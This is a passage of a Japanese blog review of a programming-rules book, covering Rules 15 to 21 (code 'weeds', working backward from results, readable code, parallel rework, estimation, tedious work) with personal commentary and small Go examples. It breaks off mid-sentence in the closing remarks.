問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践していくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム\xd7数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \\"myapp/user\\" \\"myapp/order\\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でも